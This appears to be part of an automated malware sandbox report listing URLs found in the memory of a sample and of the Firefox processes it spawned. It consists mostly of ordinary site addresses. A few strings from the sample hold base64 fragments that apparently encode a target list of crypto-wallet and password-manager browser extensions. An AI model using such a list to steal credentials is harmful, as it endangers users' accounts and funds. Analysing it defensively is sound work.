Source: firefox.exe, 0000001E.00000003.2999210432.00000270E4120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3008852300.00000270E4120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3098800866.00000270E226E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001E.00000003.2985790168.00000270E441E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2983687435.00000270E4423000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3000078726.00000270DAF67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E219F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3067377430.00000270DAF67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2993891650.00000270E219F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E219F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2993891650.00000270E219F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000001E.00000002.3073075739.00000270DB85A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3008157636.00000270E41DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E219F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2998160641.00000270E41DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2993891650.00000270E219F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: file.exe, 00000000.00000002.2382069321.00000000024FD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA15F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3032836106.00000270D61AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/Z
Source: firefox.exe, 0000001E.00000002.3100681543.00000270E234C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3069796496.00000270DB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2966671923.00000270DA683000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3071808582.00000270DB7A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3045412001.00000270D8120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000003.3008157636.00000270E41BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2966157719.00000270DA650000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3011652184.00000270E2344000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=utf-8&mode=blended&tag=mozill
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/moz-extension://cb979336-dcad-4f54-b8e3-59863639e
Source: firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E219F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2993891650.00000270E219F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E219F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2993891650.00000270E219F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3098800866.00000270E226E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E219F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2993891650.00000270E219F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3098800866.00000270E226E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: file.exe, 00000000.00000002.2382069321.00000000024FD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA15F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3032836106.00000270D61AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E219F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2993891650.00000270E219F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E219F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2993891650.00000270E219F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E219F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2993891650.00000270E219F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: file.exe, 00000000.00000002.2382069321.00000000024FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E219F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3105353259.00000270E4036000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2993891650.00000270E219F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001E.00000002.3087332031.00000270DDB82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000001E.00000002.3103512040.00000270E3DCD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2985260452.00000270E45EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3000078726.00000270DAF67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3067377430.00000270DAF67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2991682330.00000270E44BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2965350403.00000270DA400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2965635133.00000270DA61C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2965901975.00000270DA636000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2966671923.00000270DA683000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3045412001.00000270D8120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3098800866.00000270E2289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2966157719.00000270DA650000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: firefox.exe, 0000001E.00000002.3100681543.00000270E234C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2966671923.00000270DA683000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3045412001.00000270D8120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2966157719.00000270DA650000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search--button-primary-active-bgcolor
Source: firefox.exe, 0000001E.00000002.3069796496.00000270DB2B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3100479236.00000270E2312000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3098800866.00000270E226E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3098800866.00000270E226E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001E.00000002.3035541532.00000270D6C0D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3114697021.000030E187A3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3033402856.00000270D62E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3052198523.00000270DA32E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3098800866.00000270E226E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3033402856.00000270D627F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3029136632.000000DC1CB3C000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3052198523.00000270DA330000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3388160352.0000027742E52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: file.exe, 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000003.2147229613.000000002EF31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: firefox.exe, 0000001E.00000002.3111886581.00000270E5C5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3002701967.00000270DBF4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3101620325.00000270E23D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: file.exe, 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000003.2147229613.000000002EF31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2147229613.000000002EF31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: file.exe, 00000000.00000003.2147229613.000000002EF31000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/resource://gre/modules/AppUpdater.sys.mjsresource://gre/modules/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: file.exe, 00000000.00000003.2147229613.000000002EF31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3032836106.00000270D614F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001E.00000003.3007114305.00000270E5CCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001E.00000003.3007114305.00000270E5CCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: file.exe, 00000000.00000003.2147229613.000000002EF31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001E.00000002.3115240088.000039E679900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3087332031.00000270DDB5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001E.00000002.3115240088.000039E679900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.comZ
Source: firefox.exe, 0000001E.00000003.2999210432.00000270E4120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E219F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3008852300.00000270E4120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2993891650.00000270E219F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001E.00000002.3033402856.00000270D62A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3008157636.00000270E41DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E219F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2998160641.00000270E41DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3098800866.00000270E226E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2993891650.00000270E219F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/Z
Source: firefox.exe, 0000001E.00000002.3115240088.000039E679900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 0000001E.00000002.3115240088.000039E679900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.caZ
Source: firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E219F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2993891650.00000270E219F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: bdb44f72d9.exe, 0000001B.00000002.3339214666.00000000066D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtu.c
Source: firefox.exe, 0000001E.00000003.3011652184.00000270E2344000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3033402856.00000270D62E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3083929588.00000270DCB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3078302717.00000270DC74B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3103512040.00000270E3DCD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3080838293.00000270DC87E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3011652184.00000270E2344000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3103512040.00000270E3DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3008157636.00000270E41DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E219F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2998160641.00000270E41DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2993891650.00000270E219F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3105314081.00000270E4003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/Z
